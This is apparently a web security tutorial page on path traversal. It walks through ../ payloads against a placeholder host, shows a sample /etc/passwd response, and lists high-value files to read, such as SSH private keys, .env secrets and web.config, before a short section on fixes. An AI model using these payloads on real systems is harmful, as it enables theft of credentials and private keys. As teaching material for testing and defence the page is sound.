Path Traversal: The Complete Practical Guide
Reading Arbitrary Files with Path Traversal
How to read arbitrary files with path traversal: the baseline payload, why over-climbing is safe, Linux and Windows targets, and confirming a real read.
Published
The simplest path traversal reads a file off the server by bending a filename parameter out of its intended directory. This page covers the baseline payload, why you should over-climb, the files worth reading on Linux and Windows, and how to tell a real read from a handled error. Practice on a free live target.
Step 1: find a file parameter and confirm it moves
Look for a parameter that names a file (file, download, path, doc, page), then confirm the directory actually moves before aiming at a target. Climb one level to a file you expect to exist nearby:
GET /download?file=../index.html HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: text/html
<!doctype html><title>Home</title>...Getting a file from one directory up confirms the ../ is honored and the path moves. That is your green light.
Step 2: over-climb to the root and descend
You do not know the exact depth of the app's base directory, and you do not need to, because climbing past the filesystem root is a harmless no-op (the root has no parent). Pad generously with six or more sequences to guarantee you reach /, then descend to a known absolute target:
GET /download?file=../../../../../../etc/passwd HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: text/plain
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin/etc/passwd is the classic read-confirm: it exists on every Linux box, is world-readable, and its format is unmistakable.
Targets worth reading
Once you can read, aim at files that matter.
Linux:
/etc/passwd user list, the read-confirm
/etc/shadow password hashes (root-only, usually unreadable)
/proc/self/environ env vars and secrets
~/.ssh/id_rsa private SSH key
/var/www/app/.env app secrets, DB creds, API keys
config.php settings.py framework configWindows:
C:\windows\win.ini the read-confirm
C:\inetpub\wwwroot\web.config app config, connection strings
C:\windows\system32\drivers\etc\hosts low-priv readableThe app's own source and config are usually the highest value, since they reveal other bugs and hand you credentials directly.
Step 3: confirm a true read, not a decoy
Not every 200 is a win. Distinguish a real file read from a handled failure:
- Real read: recognizable, structured contents (the
root:x:0:0line, a PEM header, config keys). - Decoy: a generic not-found page or an empty body that looks the same for every bad path.
If you are unsure, compare the response to a request for a path you know is invalid. If they differ, the valid one is reading something real.
Edge variants
../../../../etc/passwd fewer climbs, if you know the depth
/etc/passwd absolute path, if the base dir is ignored (next spoke)
..\..\..\..\windows\win.ini Windows separators (next spoke)If a plain ../ is stripped or encoded away, you are into filter territory, covered in bypassing filters.
Fixing it
- Do not concatenate user input into a path. Map an id to a known file server-side.
- Canonicalize and verify the resolved path is still inside the base directory before opening.
- Least privilege, so even a successful read reaches nothing sensitive.
Full guidance is in preventing path traversal. Next, handle separators, Windows, and absolute paths in traversal sequences and absolute paths, or read a real file on a free lab.